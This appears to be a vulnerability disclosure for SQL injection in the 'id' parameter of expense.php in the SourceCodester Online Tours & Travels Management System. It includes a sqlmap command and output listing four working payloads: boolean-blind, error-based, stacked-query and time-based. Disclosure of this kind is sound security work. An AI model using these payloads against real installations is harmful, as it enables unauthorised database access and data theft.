SourceCodester Online Tours & Travels Management System expense.php sql injection

Url: admin/operations/expense.php

Abstract:

Line 47 of expense.php invokes a SQL query built using unvalidated input. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.

Explanation:

SQL injection errors occur when:

1. Data enters a program from an untrusted source.

2. The data is used to dynamically construct a SQL query.

In this case the data is passed to exec() in expense.php at line 47.

python sqlmap.py -r sql.txt

sqlmap identified the following injection point(s) with a total of 388 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' RLIKE (SELECT (CASE WHEN (3819=3819) THEN 1 ELSE 0x28 END))-- ksPx
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(3386,CONCAT(0x5c,0x717a767a71,(SELECT (ELT(3386=3386,1))),0x717a7a6a71))-- JVAA
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: id=1';SELECT SLEEP(5)#
    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: id=1' AND 8763=BENCHMARK(5000000,MD5(0x66444f68))-- EOfz
---

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https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html